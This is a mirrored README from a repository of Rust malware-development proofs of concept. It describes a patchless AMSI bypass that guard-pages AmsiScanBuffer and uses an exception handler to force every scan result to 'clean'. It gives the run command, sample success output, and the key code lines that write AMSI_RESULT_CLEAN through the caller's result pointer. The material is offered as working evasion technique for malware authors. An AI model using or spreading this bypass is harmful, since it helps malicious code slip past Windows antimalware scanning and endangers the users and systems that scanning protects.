mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
synced 2026-06-06 20:22:59 +00:00
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
AMSI Page Guard Bypass (Rust PoC)
A patchless AMSI bypass that disables AmsiScanBuffer without modifying a single byte of amsi.dll.
TL;DR
We turn the memory page containing AmsiScanBuffer into a trap. Any call to it raises a CPU exception before the first instruction runs. Our exception handler writes AMSI_RESULT_CLEAN into the caller's result variable, fakes a ret, and re-arms the trap for the next call.
Usage
cargo r -r
Expected output:
[DEBUG] Starting AMSI bypass setup
[DEBUG] amsi.dll loaded at 0x7ffd...
[DEBUG] Found module base: 0x7ffd... (name hash: ...)
[DEBUG] Found API 'AmsiScanBuffer' (hash 0x...) at 0x7ffd...
[DEBUG] VEH added: 0x...
[DEBUG] Page guarded (old protect: 0x20)
[DEBUG] Testing bypass...
[DEBUG] Exception: 0x80000001 at 0x7ffd... ← guard-page violation
[DEBUG] Guard hit on AmsiScanBuffer! Patching...
[DEBUG] Patched result, returning to caller at 0x...
[DEBUG] Exception: 0x80000004 at 0x... ← single-step
[DEBUG] Re-guarded AmsiScanBuffer page (old: 0x20)
[TEST] AmsiScanBuffer called: HR=0x0, Result=0x0
[SUCCESS] Bypass works! Result forced to CLEAN
The one critical gotcha
In the handler, arg 6 lives at [Rsp+0x30] — but it's a pointer to AMSI_RESULT, not the value. The fix is to load the pointer first, then dereference:
let stack = (*ctx).Rsp as *mut *mut c_void;
let p_amsi_result = *stack.add(6) as *mut AMSI_RESULT; // load, don't &
*p_amsi_result = AMSI_RESULT_CLEAN;
Writing to stack.add(6) directly only corrupts the stack slot — the caller's result variable is somewhere else entirely and never gets touched.
Credits & References
- shigshag — AMSI Page Guard
- Microsoft Docs — Creating Guard Pages
- AMSI —
IAntimalwareProvider::Scan/AmsiScanBuffer